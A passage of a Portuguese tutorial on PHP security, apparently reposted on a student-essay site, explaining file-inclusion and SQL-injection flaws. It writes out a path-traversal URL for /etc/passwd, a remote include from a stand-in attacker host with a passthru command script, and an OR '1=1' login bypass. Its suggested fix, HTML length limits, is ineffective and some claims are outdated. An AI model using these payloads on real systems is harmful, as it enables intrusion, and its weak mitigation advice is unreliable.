TrabalhosGratuitos.com - Trabalhos, Monografias, Artigos, Exames, Resumos de livros, Dissertações
Pesquisar

SEGURANÇA DE CÓDIGOS EM PHP

Trabalho Universitário: SEGURANÇA DE CÓDIGOS EM PHP. Pesquise 860.000+ trabalhos acadêmicos

Por:   •  10/5/2013  •  800 Palavras (4 Páginas)  •  356 Visualizações

Página 1 de 4

Segurança em códigos PHP

criado por Jacques E. Winand em 19/08/2002 9:04am

A flexibilidade do PHP é que ele é uma ferramenta útil ao desenvolvimento de sistemas para internet, mas esta mesma flexibilidade pode ser usada de forma inadequada por usuários mal intencionados e proporcionar vulnerabilidades no servidor.

É fundamental restringir ao máximo a visualização das informações que trafegam pelos cabeçalhos HTTP, e certificar-se de que estas sejam postadas de um lado e recebidas de outro dentro de critérios definidos pelo programador. A má utilização das funções include(), require() e fopen() além da configuração das variáves globais no servidor é fundamental para manter um nível de segurança adequado.

Analizamos o seguinte exemplo:

Um programador desprevinido se utiliza do método de fast templates para mostrar conteúdo dinâmico na página, a cada link clicado a função include é chamada para mostrar novo conteúdo na página, a função include recebe da variável $link qual será este conteúdo, passando o mouse pelo link em questão vemos:

http://exemplo.com.br/exemplo.php?link=faleconosco.html

Neste caso (o que já vi por aí na web), devemos considerar o seguinte:

- Foi verificado a extensão do arquivo antes de passar o valor de $link para a função include?

- Os diretórios transversais são permitidos?

- É permitido arquivos remotos?

Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.

Considere o seguinte:

http://exemplo.com.br/exemplo.php?link=../../../etc/passwd

E pronto, todas as senhas do servidor são públicas.

http://exemplo.com.br/exemplo.php?link=paghacker.com.br/exec.php

Onde exec.php contém:

<?php

passthru('id');

passthru('ls -l /etc');

passthru('ping -c l paghacker.com.br');

passthru('echo Você foi hackeado | mail root');

?>

Seu /etc é público ....

Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.

Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:

<input type=text name=login>

<input type=password name=senha>

Isso gera as variáveis $login e $senha. Na página seguinte encontramos:

<?php

$sql = "SELECT * FROM users WHERE user=$login AND pass=$senha";

?>

Perfeito, está pronta a ser invadido, realize se o usuário digitar

OR "1=1" no login e senha, teremos:

<?php

$sql = "SELECT * FROM users WHERE user= OR '1=1' AND pass= OR '1=1'";

?>

Ou seja, $user = a nada OR 1=1 -->passou

$senha = a nada OR 1=1 -->passou

e pode-se fazer muito mais....

E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.

Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:

<input type=text name=login maxsize=5>

<input type=password name=senha maxsize=5>

Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:

Este arquivo é o login.php

<?php

if (!$flag) {

?>

<form name="login" action="login.php">

<input type="text" name="login" maxsize="5">

<input

...

Baixar como (para membros premium)  txt (5.8 Kb)  
Continuar por mais 3 páginas »
Disponível apenas no TrabalhosGratuitos.com